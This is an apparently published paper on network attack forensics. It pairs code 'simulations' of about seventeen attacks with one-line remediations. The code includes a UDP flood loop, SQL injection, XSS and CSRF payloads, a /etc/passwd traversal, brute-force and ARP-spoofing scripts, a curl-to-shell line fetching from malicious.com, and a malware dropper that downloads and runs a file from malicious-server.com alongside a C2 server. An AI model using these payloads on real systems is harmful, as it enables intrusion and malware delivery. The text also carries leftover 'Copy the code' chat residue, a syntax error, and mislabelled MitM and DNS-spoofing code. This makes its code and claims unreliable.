Original Scientific Paper/Originalni naučni rad UDC/UDK: 004.738.5.056
Paper Submitted/Rad primljen: 01. 05. 2024.
Paper Accepted/Rad prihvaćen 28. 6. 2024.
DOI: 10.5937/SJEM2402055S

Forenzika mrežnih napada: Analiza tehnika, simulacija i programskih rešenja za zaštitu

Hadžib Salkić[1]

[1]CEPS – Center for Business Studies Kiseljak, hadzib.salkic@ceps.edu.ba

Apstrakt: Ovaj rad istražuje primenu programskog koda u forenzici računarskih mreža, sa fokusom na metode za prikupljanje, analizu i očuvanje mrežnih podataka. Razgovaramo o različitim tehnikama i alatima za otkrivanje mrežnih pretnji, praćenje mrežnog saobraćaja i identifikaciju anomalija koje mogu ukazivati na bezbednosne incidente. Cilj je pokazati kako programski kod može poboljšati efikasnost forenzičkih istraga i omogućiti preciznije analize.

Ključne reči: Forenzika računarske mreže, Mrežni napadi, Simulacija napada, Zaštita mrežnih sistema, Programski kod.

Forensics of Network Attacks: Analysis of Techniques, Simulations and Program Solutions for Protection

Abstract: This paper explores the application of programming code in computer network forensics, with a focus on methods for collecting, analyzing and preserving network data. We discuss various techniques and tools for detecting network threats, monitoring network traffic, and identifying anomalies that may indicate security incidents. The goal is to show how programming code can improve the efficiency of forensic investigations and enable more accurate analyses.

Keywords: Computer Network Forensics, Network attacks, Attack simulation, Protection of network systems, Program code.

1. Introduction

- **Motivation and Importance**: To explain the importance of network forensics in modern IT systems and its impact on the detection and investigation of cyber threats.
- **Objectives and contribution**: To define research objectives and contributions that the work offers to the field of computer network forensics.
- **Theoretical Framework**: Consider the basic concepts of network forensics, including data collection, traffic analysis, and evidence preservation.
- **Methods and Tools**: Review existing methods and tools for network forensics, such as Wireshark, Snort, and other similar tools.
- **Code Connections**: Analyze how code contributes to network forensics and what the benefits and limitations are**.**
- **Choice of programming languages**: Describe the programming languages used to develop forensic tools, such as Python, Bash, and others.
- **Code Development and Testing**: Show how code is developed for network traffic analysis, anomaly detection, and evidence gathering.
- **Examples and simulations**: Present concrete examples and simulations using program code for forensic analysis.
- **Analysis and interpretation**: Show the results of applying the program code in forensic analysis, including success in identifying threats and detecting anomalies.
- **Comparison with existing methods**: Compare the effectiveness of code-based methods with traditional forensic techniques.
- **Advantages and Challenges**: Consider the advantages of using code in network forensics, as well as the challenges and limitations.

- **Recommendations for future work**: Suggest possible directions for future research and improvements in the field of network forensics.
- **Summary of Findings**: Summarize key research findings and their significance for the field of network forensics.
- **Significance of the research**: Outstanding contribution of the work to the field of computer network forensics and potential application in practice.

2. Materials and methods

Here are some of the most common attacks on computer networks, along with attack simulations and code remediation. For each attack, it will be shown how the attack can be simulated, as well as how to remediate it.

- **Denial of Service (DoS)**

Simulation:

```
python
Copy the code
import socket
import threading

def dos_attack(target_ip, target_port):
   while True:
      sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      sock.sendto( b'FLOOD', (target_ip, target_port))

# Start the attack
thread = threading.Thread(target=dos_attack, args=('192.168.1.1', 80))
thread.start()
```

Remediation: Use firewalls and traffic routing through services to protect against DoS attacks such as Cloudflare or AWS Shield.

- **Distributed Denial of Service (DDoS)**

Simulation:

```
python
Copy the code
# Similar to DoS, but with more IP addresses
```

Remediation: Implement DDoS protection at the network level and use services such as Cloudflare or AWS Shield for distributed protection.

- **Man-in-the-Middle (MitM)**

Simulation:

```
python
Copy the code
from scapy.all import *

def mitm_attack(target_ip):
# This simulation is only used for educational purposes
   sniff( filter="tcp and port 80", prn=lambda x: x.summary())

# Start a MitM attack
mitm_ attack( '192.168.1.100')
```

Remediation: Use HTTPS for traffic encryption and implement security certificates.

- **SQL Injection**

Simulation:

python
Copy the code
import requests

payload = {'username': 'admin', 'password': "' OR '1'='1"}
response = requests.post('http://example.com/login', data=payload)
print(response.text)

Remediation: Use parameterized queries and ORM (Object-Relational Mapping) to protect against SQL injections.

- **Cross-Site Scripting (XSS)**

Simulation:
html
Copy the code
<script> alert ('XSS');</script>

Remediation: Use escape characters for special characters in HTML and validate user input.

- **Cross-Site Request Forgery (CSRF)**

Simulation:

html
Copy the code
<form action="http://example.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000" />
<input type="submit" value="Submit" />
</form>

Remediation: Use CSRF tokens in all forms and authenticate users.

- **Remote Code Execution (RCE)**

Simulation:
python
Copy the code
import os
os.system('curl http://malicious.com/malicious_script.sh | sh')

Remediation: Limit access to executable commands and use secure methods for data entry and processing.

- **Directory Traversal**

Simulation:

python
Copy the code
import requests

response = requests.get('http://example.com/file?name=../../../etc/passwd')
print(response.text)

Sanitization: Validate and sanitize user inputs to prevent manipulation of file paths.

- **Brute Force Attack**

Simulation:

```
python
Copy the code
import requests

for password in ['123456', 'password', 'admin']:
    response = requests.post('http://example.com/login', data={'username': 'admin', 'password': password})
    if 'Invalid' not in response.text:
        print( f'Password found: {password}')
```

Remediation: Implement protection against brute force attacks using CAPTCHA and limit the number of login attempts.

- **Credential Stuffing**

Simulation:

```
python
Copy the code
import requests

for creds in [('admin', 'password123'), ('user', '123456')]:
    response = requests.post('http://example.com/login', data={'username': creds[0], 'password': creds[1]})
    if 'Invalid' not in response.text:
        print( f'Valid credentials: {creds}')
```

Remediation: Use unique passwords and two-factor authentication (2FA).

- **Session Hijacking**

Simulation:

```
python
Copy the code
import requests

session_cookie = 'sessionid=abc123'
response = requests.get('http://example.com/profile', cookies={'sessionid': session_cookie})
print( response.text)
```

Remediation: Use secure methods for session management and ensure session cookies are protected.

- **DNS Spoofing**

Simulation:

```
python
Copy the code
from scapy.all import *

def dns_spoof(target_ip):
    packet = IP(dst=target_ip)/UDP(dport=53)/DNS(qd=DNSQR(qname='example.com'))
    send( packet)
```

```
# Start the attack
dns_ spoof( '192.168.1.100')
```

Remediation: Use DNSSEC to protect against DNS spoofing and verify DNS responses.

- **ARP Spoofing**

Simulation:

```
python
Copy the code
from scapy.all import *

def arp_spoof(target_ip, spoof_ip):
   packet = ARP(op=2, pdst=target_ip, psrc=spoof_ip)
   send( packet, verbose=False)

# Start the attack
arp_ spoof( '192.168.1.100', '192.168.1.1')
```

Remediation: Use static ARP entries and ARP spoofing detection tools.

- **Buffer Overflow**

Simulation:

```
Copy the code
#include <string.h>
#include <stdio.h>

void vulnerable_function(char *input) {
   char buffer[10];
   strcpy( buffer, input); // This is vulnerable to buffer overflow
}

int main() {
   char input[20];
   fgets( input, 20, stdin);
vulnerable_ function( input);
   return 0;
}
```

Remediation: Use bounds-checking functions such as strncpy and implement overflow protection .

- **Log Injection**

Simulation:

```
python
Copy the code
import logging

logger = logging.getLogger('example')
handler = logging.FileHandler('app.log')
logger.addHandler( handler )

logger.info( 'User input: %s', '"; DROP TABLE users; --")
```

Remediation: Validate and remediate all entries that are written to the logs.

- **Code Injection**

Simulation:

python
Copy the code
import os

user_input = 'ls'
os.system(f'bash -c "{user_input}"')

Sanitization: Never execute user input without prior validation and sanitization.

- **Privilege Escalation**

Simulation:

python
Copy the code
import os

# Attempt to escalate privileges (for educational purposes only)
os.system('sudo su')

Remediation: Restrict user privileges and use security practices to manage access.

- **Advanced Persistent Threat (APT)**

One of the most difficult attacks on a computer network is **"Advanced Persistent Threat (APT)"** . This attack is complex and long-term, often carried out using sophisticated techniques and methods, and usually targets specific organizations or individuals with the intention of gaining long-term access to network resources.

Example: Simulating an APT Attack

For this simulation, we will use **"Command and Control (C2) Server"** and **"Malware Dropper"** as an example of the basic components of an APT attack. This example shows the basic steps, but actual attacks can be far more complex.

Note: This example is for educational purposes and should not be used for actual attacks.

Malware Dropper

A malware dropper is a program used to download and install malicious software on a targeted system. This software may use various techniques to hide and avoid detection.

Python Code for Dropper:

python
Copy the code
import requests
import os

def download_and_execute(url, filename):
response = requests.get(url)
with open(filename, 'wb') as file:
file.write(response.content)
os.system(f'chmod +x {filename}')
os.system(f'./{filename}')

```
# The malware download URL and file name
malware_url = ' http://malicious-server.com/malware '
filename = 'malware'
download_and_execute ( malware_url, filename)
```

Comments and analysis:

- **requests.get(url)** downloads the malicious file from the server.
- **with open(filename, 'wb')** saves the downloaded file to the local disk.
- **os.system(f'chmod +x {filename}')** grants executable permissions to the file.
- **os.system(f'./{filename}')** executes the downloaded file.

This code downloads and runs a malicious file, which can have different functionalities, such as stealing data or creating a backdoor for further attacks.

- **Command and Control (C2) Server**

The C2 server is the central location from which the attackers manage the infected systems. Here is a simple example Python script that simulates basic C2 functionality.

Python Code for C2 Server:

```
python
Copy the code
from flask import Flask, request, jsonify

app = Flask(__name__)

# Stores information about infected systems
infected_systems = {}

@app.route( '/register', methods=['POST'])
def register():
system_id = request.form[ 'system_id']
infected_systems [ system_id] = request.remote_addr
   return jsonify({"status": "registered"}), 200

@app.route( '/commands/<system_id>', methods=['POST'])
def send_command(system_id):
   command = request.form['command']
   if system_id in infected_systems:
# Simulates sending a command to an infected system
      print( f'Sending command to {system_id}: {command}')
      return jsonify({"status": "command sent"}), 200
   return jsonify({"status": "system not found"}), 404

if __name__ == '__main__':
   app.run( host='0.0.0.0', port=5000)
```

Comments and analysis:

- **The /register endpoint** allows infected systems to log in to the C2 server.
- **The /commands/<system_id> endpoint** allows sending commands to specific infected systems.
- This server only simulates communication; in reality, much more sophisticated protocols and encryption would be used for communication.

- **Sanitation and Protection**

Education and awareness: Education of users and IT staff about security threats and protection techniques.

Antivirus and antimalware protection: Using advanced antivirus and antimalware tools to identify and block malware.

Regular updates: Keeping systems and applications up to date to correct known vulnerabilities.

Network segmentation: Separation of the network into segmented parts to limit movements within the network in case of compromise.

Monitoring and detection: Implementation of intrusion detection solutions (IDS) and monitoring of network traffic for early detection of suspicious activities.

This example provides a basic idea of the components of an APT attack and protection methods. In the real world, attacks are often more complex and use advanced techniques to evade detection and detection.

3. Results and discussion

In this paper, various aspects of computer network forensics are explored with a focus on attacks and their simulations, as well as protection and remediation techniques. The most common attacks are analyzed, including Denial of Service (DoS), SQL Injection, Cross-Site Scripting (XSS) and Advanced Persistent Threats (APT). Each of these attacks has its own characteristics, methods of execution, and techniques for prevention and remediation.

Key Findings:

- Attack sophistication: Attacks like APTs exhibit a high level of sophistication and a long-term strategy involving multiple stages and components, such as malware droppers and command-and-control (C2) servers. These attacks are more difficult to detect and require complex remediation approaches.
- Attack simulations: Using code to simulate an attack provides insight into how attackers might carry out their activities and what kinds of tools and techniques they use. Simulations such as malware droppers and C2 servers help understand the functionality and impact of different attack components.
- Remediation techniques: Methods for remediation of attacks have been developed and described, including the use of anti-virus programs, encryption, authentication, and network segmentation. These techniques are critical to protecting networks and minimizing the potential damage caused by attacks.
- Analysis and implementation: By analyzing each attack and its simulation, key steps to protect networks are identified. Implementing these techniques in a real-world environment helps strengthen security measures and respond more effectively to threats.

Recommendations for future work:

- Advanced Research: Future research should focus on developing new techniques and tools for attack detection and prevention. Also, researching new methods to analyze and protect against advanced threats can improve network security.
- Training and awareness: Continuous education of users and IT professionals about new threats and best practices for network protection is essential. Developing educational programs and simulating attacks can improve organizations' ability to recognize and respond to threats.
- Integration and collaboration: Collaboration between different sectors and organizations can improve the approach to network security. Sharing information about threats and best practices can help develop comprehensive security strategies.

4. Conclusion

In conclusion, this paper provides a thorough insight into the dynamics of attacks on computer networks and techniques for their prevention and remediation. Understanding and implementing these methods can significantly improve the security of network systems and reduce the risk of future attacks.

Literature

1. Kaufman, C., Perlman, R., Speciner, M. (2022). *Network Security: Private Communication in a Public World*, Addison-Wesley Professional.
2. Migga Kizza, J. (2023). *Computer Network Security and Cyber Ethics*, Mcfarland & Company, Incorporated Publishers.
3. Cerra, A. (2024). *The Cybersecurity Playbook: Protecting Your Organization from Digital Threats*, Wiley.
4. Cole, E. (2024). *Advanced Persistent Threats: A Comprehensive Guide to Detecting and Defending Against APTs*, Syngress.
5. Malin, C. H., Casey, E., Aquilina, J. M. (2024). *Malware Forensics Field Guide for Linux Systems*, Syngress.
6. Simpson, M. T., Backman, K., Corley, J (2024). *Hands-On Ethical Hacking and Network Defense*, Cengage Learning.
7. Wright, J., Cache, J. (2023) *Practical Network Security: A Comprehensive Guide to Securing Your Network*, McGraw-Hill Education.
8. Johansen, G. (2024). *Digital Forensics and Incident Response: A Practical Guide to Cybercrime Investigations*, Packt Publishing.
9. Graham, D. G. (2023). *Ethical Hacking: A Hands-on Introduction to Breaking In*. No Starch Press.
10. Johnson, R. R. (2024). *Understanding and Preventing Cyber Crime: A Practical Guide*. N/A.
11. NIST. (2024). *Advanced Persistent Threats: Detection and Mitigation Strategies*, National Institute of Standards and Technology.
12. N.A. (2024). The Future of Network Security: Emerging Trends and Technologies, *IEEE Security & Privacy Magazine*,
13. SANS Institute (2023). *Practical Approaches to Cyber Threat Intelligence and Forensics*, SANS Institute.
14. ACM Computing (2024). *Recent Advances in Cybersecurity: Techniques and Tools*, ACM Computing Surveys.